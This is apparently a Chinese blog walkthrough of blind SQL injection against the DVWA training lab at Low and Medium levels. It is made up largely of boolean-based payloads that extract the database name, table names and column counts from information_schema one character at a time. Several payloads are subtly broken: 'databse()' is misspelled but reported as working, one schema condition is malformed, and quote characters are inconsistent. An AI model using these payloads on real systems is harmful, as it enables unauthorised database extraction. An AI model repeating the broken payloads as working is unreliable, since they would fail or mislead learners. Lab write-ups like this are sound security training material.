DVWA-SQL Injection(Blind)

LOW

1.判断是否存在注入
输入1
在这里插入图片描述
显示用户存在
输入1’ and 1 = 1 – ’
在这里插入图片描述

显示用户存在
输入1‘ and 1 = 2 – ’
在这里插入图片描述
显示用户不存在,说明存在字符型的SQL盲注。

2.猜解SQL查询语句中的字段数
输入1’ or 1 = 1 order by 1 – ’
在这里插入图片描述
显示不存在
输入1’ or 1 = 1 order by 2 – ’
在这里插入图片描述
显示存在
输入1’ or 1 = 1 order by 3 – ’在这里插入图片描述
显示不存在,说明该SQL查询语句中只有2个字段
3.获取当前数据库

输入1’ and ascii(substr(databse(),1,1))>97 -- ',显示存在,说明数据库名的第一个字符的ascii值大于97(小写字母a的ascii值);

输入1’ and ascii(substr(databse(),1,1))<122 -- ',显示存在,说明数据库名的第一个字符的ascii值小于122(小写字母z的ascii值);

输入1’ and ascii(substr(databse(),1,1))<109 -- ',显示存在,说明数据库名的第一个字符的ascii值小于109(小写字母m的ascii值);

输入1’ and ascii(substr(databse(),1,1))<103 -- ',显示存在,说明数据库名的第一个字符的ascii值小于103(小写字母g的ascii值);

输入1’ and ascii(substr(databse(),1,1))<100 -- ',显示不存在,说明数据库名的第一个字符的ascii值不小于100(小写字母d的ascii值);

输入1’ and ascii(substr(databse(),1,1))>100 -- ',显示不存在,说明数据库名的第一个字符的ascii值不大于100(小写字母d的ascii值),所以数据库名的第一个字符的ascii值为100,即小写字母d。
...
解出数据库名为’dvwa'

4.获取数据库中的表
输入1’ union select count(table_name),2 from INFORMATION_SCHEMA.tables where table_schema = database() = 1 – ’
在这里插入图片描述
显示不存在
输入1’ union select count(table_name),2 from INFORMATION_SCHEMA.tables where table_schema = database() = 2 – ’
在这里插入图片描述
显示存在,说明‘dvwa’库中有2个表

1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 -- ' 显示不存在

1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=2 -- ' 显示不存在

...

1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 -- ' 显示存在

说明第一个表名长度为9。

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 -- ' 显示存在

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122 -- ' 显示存在

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<109 -- ' 显示存在

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103 -- ' 显示不存在

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 -- ' 显示不存在

说明第一个表的名字的第一个字符为小写字母g。

重复上述步骤,即可猜解出两个表名 guestbook、users。
5.获取表中字段名

1’ and (select count(column_name) from information_schema.columns where table_name= ’users’)=1 -- ' 显示不存在

...

1’ and (select count(column_name) from information_schema.columns where table_name= ’users’)=8 -- ' 显示存在

说明users表有8个字段。

1’ and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1 -- ' 显示不存在

...

1’ and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7 -- ' 显示存在

说明users表的第一个字段为7个字符长度。

采用二分法,即可猜解出所有字段名。

Medium

1.判断是否存在注入
将id修改为1’ and 1= 1 – ’
在这里插入图片描述
显示不存在
将id修改为 1 and 1 = 1 – ’
在这里插入图片描述
显示存在,说明存在数字型的SQL盲注。
2.猜解SQL查询语句中的字段数
输入1 or 1 = 1 order by 1 – ’
在这里插入图片描述
显示存在
输入1 or 1 = 1 order by 2 – ’
在这里插入图片描述
显示存在
输入1 or 1 = 1 order by 3 – ’
在这里插入图片描述
显示不存在,说明该SQL查询语句中有2个字段
3.获取当前数据库
输入1’ and ascii(substr(databse(),1,1))>97 – ',显示存在,说明数据库名的第一个字符的ascii值大于97(小写字母a的ascii值);

输入1 and ascii(substr(databse(),1,1))<122 -- ',显示存在,说明数据库名的第一个字符的ascii值小于122(小写字母z的ascii值);

输入1 and ascii(substr(databse(),1,1))<109 -- ',显示存在,说明数据库名的第一个字符的ascii值小于109(小写字母m的ascii值);

输入1 and ascii(substr(databse(),1,1))<103 -- ',显示存在,说明数据库名的第一个字符的ascii值小于103(小写字母g的ascii值);

输入1 and ascii(substr(databse(),1,1))<100 -- ',显示不存在,说明数据库名的第一个字符的ascii值不小于100(小写字母d的ascii值);

输入1 and ascii(substr(databse(),1,1))>100 -- ',显示不存在,说明数据库名的第一个字符的ascii值不大于100(小写字母d的ascii值),所以数据库名的第一个字符的ascii值为100,即小写字母d。
...
解出数据库名为’dvwa'

4.获取数据库中的表

修改id为1 union select count(table_name),2 from INFORMATION_SCHEMA.tables where table_schema = database() = 1 -- ' 显示不存在
修改id为1 union select count(table_name),2 from INFORMATION_SCHEMA.tables where table_schema = database() = 2 -- ' 显示存在

再通过不断注入查询确定2个表的表名长度,通过二分法不断猜解得到表名。
5.获取表中字段名

  1 and (select count(column_name) from information_schema.columns where table_name= 0x7573657273)=1 -- ‘ 显示不存在

    ...

   1 and (select count(column_name) from information_schema.columns where table_name= 0x7573657273)=8 -- ‘显示存在

说明users表有8个字段。

1 and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1 -- ' 显示不存在

...

1 and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7 -- ' 显示存在

说明users表的第一个字段为7个字符长度。

采用二分法,即可猜解出所有字段名。

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值